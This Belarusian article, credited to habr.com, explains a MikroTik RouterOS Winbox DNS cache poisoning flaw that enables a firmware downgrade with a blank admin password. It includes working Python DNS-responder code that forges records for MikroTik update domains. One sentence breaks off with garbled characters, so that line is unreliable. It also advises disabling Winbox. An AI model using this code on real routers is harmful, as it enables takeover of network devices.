Магчымасць выдаленага даунгрейда прылад на базе RouterOS (Mikrotik) ставіць пад пагрозу сотні тысяч сеткавых прылад. Уразлівасць злучана з атручваннем DNS-кэша Winbox пратаколу і дазваляе загрузіць састарэлую (са скідам пароля "па-змаўчанні") або мадыфікаваную прашыўку на прыладу.
Дэталі ўразлівасці
Тэрмінал RouterOS падтрымлівае каманду дазволу для пошуку DNS.
Гэты запыт апрацоўваецца двайковым файлам з імем resolver. Resolver з'яўляецца адным са шматлікіх двайковых файлаў, якія падлучаныя да пратаколу Winbox ад RouterOS. На высокім узроўні "паведамленні", якія адпраўляюцца на порт Winbox, могуць маршрутызавацца ў розныя двайковыя файлы ў RouterOS на аснове схемы нумарацыі на аснове масіва.
Па змаўчанні ў RouterOS адключаная функцыя DNS-сервера.
Аднак нават пры адключанай функцыі сервера маршрутызатар падтрымлівае ўласны кэш DNS.
Калі мы робім запыт, выкарыстоўваючы winbox_dns_request, напрыклад, example.com, маршрутызатар будзе кэшаваць вынік.
Паколькі мы можам пазначыць DNS-сервер, праз які павінен прайсці запыт, уводзіць няправільныя адрасы трывіяльна. Напрыклад, можна наладзіць рэалізацыю DNS-сервера ад
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Цяпер калі з дапамогай Winbox пашукаць example.com то можна ўбачыць што DNS-кэш маршрутызатара атручаны.
Вядома, атручванне example.com не вельмі карысна, бо маршрутызатар фактычна не будзе яго выкарыстоўваць. Тым не менш, маршрутызатар мае патрэбу ў звароце да upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com і download.mikrotik.com. І дзякуючы яшчэ адной памылцы ёсць магчымасць атруціць іх усіх адразу.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
Маршрутызатар запытвае адно дазвол, а мы даем пяць назад. Маршрутызатар няправільна кэшуе ўсе гэтыя адказы.
Відавочна, што гэтая атака таксама карысная, калі маршрутызатар дзейнічае як DNS-сервер, паколькі ён дазваляе атакаваць кліентаў маршрутызатара.
Таксама гэты напад дазваляе праэксплуатаваць больш сур'ёзную ўразлівасць: вырабіць даунгрейд або бэкпартаванне версіі RouterOS. Атакуючы узнаўляе логіку сервера абнаўленняў, уключаючы changelog і прымушае RouterOS успрыняць састарэлую (уразлівую) версію як актуальную. Небяспека тут крыецца ў тым, што пры "абнаўленні" версіі пароль адміністратара скідаецца ў значэнне "па-змаўчанні" - зламыснік можа ўвайсці ў сістэму з пустым паролем!
Атака цалкам працоўная, нягледзячы на ??тое, што
абарона
Простае адключэнне Winbox дазваляе абараніцца ад гэтых нападаў. Нягледзячы на выгоду адміністравання праз Winbox лепш скарыстацца пратаколам SSH.
Крыніца: habr.com